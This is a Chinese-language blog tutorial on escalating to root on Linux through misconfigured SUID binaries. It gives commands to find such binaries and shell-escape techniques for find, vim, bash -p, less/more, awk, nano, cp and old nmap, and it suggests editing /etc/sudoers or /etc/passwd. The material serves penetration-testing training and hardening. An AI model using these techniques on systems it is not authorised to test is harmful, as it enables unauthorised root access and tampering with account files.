[内网渗透]SUID提权

文章目录

    • [内网渗透]SUID提权
      • 0x01.什么是SUID?
      • 0x02.如何设置SUID?
      • 0x03.查找属主为root的SUID文件
      • 0x04.进行SUID提权
        • 1.find提权
        • 2.vim/vi/vim.tiny 以root权限修改文件
        • 3.bash提权
        • 4.less/more执行系统命令
        • 5.nano以root权限修改文件
        • 6.awk执行系统命令
        • 7.cp以root权限覆盖文件
        • 8.nmap(过时)

[内网渗透]SUID提权

0x01.什么是SUID?

suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。

但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的属主权限,且该权限只在程序执行的过程中有效。

通俗的来讲,假设我们现在有一个可执行文件/bin/find,其属主为root。当我们通过非root用户登录时,如果find命令设置了SUID权限且属主为root,而恰好find命令能通过-exec选项执行系统命令,我们可在非root用户下运行find执行命令,在执行文件时,该进程的权限将为root权限。达到提权的效果。利用此特性,我们可以实现利用SUID权限的特殊进行提权

[内网渗透]SUID提权_第1张图片

0x02.如何设置SUID?

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

我们假设binexec为二进制可执行文件

[内网渗透]SUID提权_第2张图片

该文件的属主(属主为root)的可执行位的权限变为:S,说明获得了SUID权限

0x03.查找属主为root的SUID文件

具有SUID权限的二进制可执行文件有:

nmap
vim
find
bash
more
less
nano
cp
awk

知道了这些文件后,我们需要找出属主为root,且具有SUID权限的文件的位置,利用这些命令进行提权

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

更多可以看:GTFOBins

我们执行第一条看看:

[内网渗透]SUID提权_第3张图片

这些文件都是具有SUID权限位,并且属主为root的文件

我们查看一下/usr/bin/passwd

> ls -al /usr/bin/passwd 
-rwsr-xr-x 1 root root 68248 2022年11月11日 /usr/bin/passwd

0x04.进行SUID提权

进行提权的前提是二进制可执行文件的属主为root,且具有SUID权限位

1.find提权

find比较常见,不仅可以用来查找文件,同时还具有执行命令的能力。因此,如果配置有SUID权限运行,只可以通过find执行的命令去以root身份运行

find filename -exec whoami \; 
 # filename 可以随便指定一个文件
 # 这个 \; 必须要有,而且和命令前要有个空格
 # -exec:<执行指令>:假设find指令的回传值为True,就执行该指令;

[内网渗透]SUID提权_第4张图片

如图所示,使用find提权成功,查看了root用户才能查看的文件

2.vim/vi/vim.tiny 以root权限修改文件

直接vim anyFile,然后在末行模式输入:

:!/bin/sh:set shell='/bin/sh' + :shell

[内网渗透]SUID提权_第5张图片

回车后就可以输入命令了:

[内网渗透]SUID提权_第6张图片

给vim suid权限后,意味着任一用户可以以root权限编辑任一文件,linux下本来一切皆文件,实际造成的结果是我们可以为所欲为,修改/etc/sudoers,将一个用户提升为root权限,或者新增一个用户,或者修改sudo权限,增加nopasswd all的权限。

例如:

[内网渗透]SUID提权_第7张图片

我们成功以leekos普通用户修改了binexec文件的内容

我们也可以修改/etc/passwd将普通用户改为root权限

3.bash提权

先设置bash的属主为root,并且赋予SUID权限位

使用:bash -p

[内网渗透]SUID提权_第8张图片

4.less/more执行系统命令

less/more作用类似,我们此处以more举例:

先给more加上SUID权限,然后more /etc/passwd(需要查看一个较大的文件,否则不能分页)

在末行模式输入:!/bin/sh即可执行系统命令

5.nano以root权限修改文件

nano
ctrl+R
ctrl+x

[内网渗透]SUID提权_第9张图片

nano同vim一样也可以以root权限修改文件内容:

[内网渗透]SUID提权_第10张图片

6.awk执行系统命令

输入awk,然后输入:awk 'BEGIN{system("/bin/bash")}' 即可执行系统命令:

[内网渗透]SUID提权_第11张图片

7.cp以root权限覆盖文件

这里binexec文件只有root可以写入但是这里我们使用带有SUID权限的cp命令,将demoFile中的文件写入了binexec

(我们同样也可以写入/etc/sudoers文件,将当前用户修改为root权限)

[内网渗透]SUID提权_第12张图片

8.nmap(过时)

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

nmap --interactive

在nmap交互模式中 通过如下命令提权:

nmap> !sh
sh-3.2# whoami
root

你可能感兴趣的:(内网渗透,网络,web安全,安全)